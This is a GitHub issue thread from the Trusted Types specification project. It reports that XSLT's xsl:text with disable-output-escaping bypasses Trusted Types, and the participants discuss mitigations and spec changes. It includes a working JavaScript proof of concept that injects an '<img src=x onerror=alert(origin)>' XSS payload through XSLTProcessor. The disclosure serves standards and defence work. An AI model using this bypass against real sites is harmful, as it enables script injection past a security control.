Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Maybe enforce Trusted Types in XSL's xsl:text #359

Open
shhnjk opened this issue Feb 15, 2022 · 5 comments
Open

Maybe enforce Trusted Types in XSL's xsl:text #359

shhnjk opened this issue Feb 15, 2022 · 5 comments
Labels
future In consideration for the future releases of the API

Comments

@shhnjk
Copy link
Member

shhnjk commented Feb 15, 2022

Currently, there is no Trusted Types enforcement on <xsl:text> in XSL document.
Found by Alex
https://twitter.com/kinugawamasato/status/1493641462776360961

<script>
  let attackerControlledString = "<img src=x onerror=alert(origin)>";
  const doc = document.implementation.createHTMLDocument();
  const xslt = document.createElementNS("http://www.w3.org/1999/XSL/Transform","xsl:stylesheet");
  xslt.setAttribute("xmlns:xsl","http://www.w3.org/1999/XSL/Transform");
  const template = document.createElementNS("http://www.w3.org/1999/XSL/Transform","xsl:template");
  template.setAttribute("match","/");
  const output = document.createElementNS("http://www.w3.org/1999/XSL/Transform","xsl:output");
  output.setAttribute("method","html");
  xslt.appendChild(output);
  const text = document.createElementNS("http://www.w3.org/1999/XSL/Transform","xsl:text");
  text.textContent = attackerControlledString;
  text.setAttribute("disable-output-escaping","yes");
  template.appendChild(text);
  xslt.appendChild(template);
  const processor = new XSLTProcessor();
  processor.importStylesheet(xslt);
  const fragment = processor.transformToFragment(doc,document);
  document.body.appendChild(fragment);
</script>
@shhnjk
Copy link
Member Author

shhnjk commented Feb 23, 2022

The actual root cause of XSS is due to disable-output-escaping attribute set to yes, which will disable HTML escaping. The only easy way to mitigate this bug seems to be disabling disable-output-escaping attribute under Trusted Types enforcement. Per this document, Firefox doesn't even support disable-output-escaping.

@koto
Copy link
Member

koto commented Feb 23, 2022

XSLTProcessor.importStylesheet could also be a sink in this case, if the stylesheet nodes have a capability of causing script execution.

@annevk
Copy link
Member

annevk commented Jan 16, 2024

Yeah, XSLT entry points should be blocked. We shouldn't support XSLT in detail.

@koto koto added the future In consideration for the future releases of the API label Jan 18, 2024
@mbrodesser-Igalia
Copy link
Collaborator

How would the entry points, e.g. XSLTProcessor.importStylesheet (https://developer.mozilla.org/en-US/docs/Web/API/XSLTProcessor/importStylesheet), be blocked?

This falls in class 3 of #419 (comment) and would require adapting the spec of importStylesheet (https://dom.spec.whatwg.org/#dom-xsltprocessor-importstylesheet). Be aware the latter lacks a definition (https://dom.spec.whatwg.org/#xslt).

I wonder if class 3 mentioned above will become large, with sinks like this. Requiring to change multiple specifications at a deeper level (in contrast to class 1).

@mbrodesser-Igalia
Copy link
Collaborator

The actual root cause of XSS is due to disable-output-escaping attribute set to yes, which will disable HTML escaping. The only easy way to mitigate this bug seems to be disabling disable-output-escaping attribute under Trusted Types enforcement. Per this document, Firefox doesn't even support disable-output-escaping.

Not sure whether Firefox indeed doesn't support it, since there's some code for it: https://searchfox.org/mozilla-central/search?q=disableOutputEscaping&path=&case=true&regexp=false.
https://vulnerabledoma.in/ttbypass_XSLTProcessor.html causes an exception even without text.setAttribute("disable-output-escaping","yes");.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
future In consideration for the future releases of the API
Projects
None yet
Development

No branches or pull requests

4 participants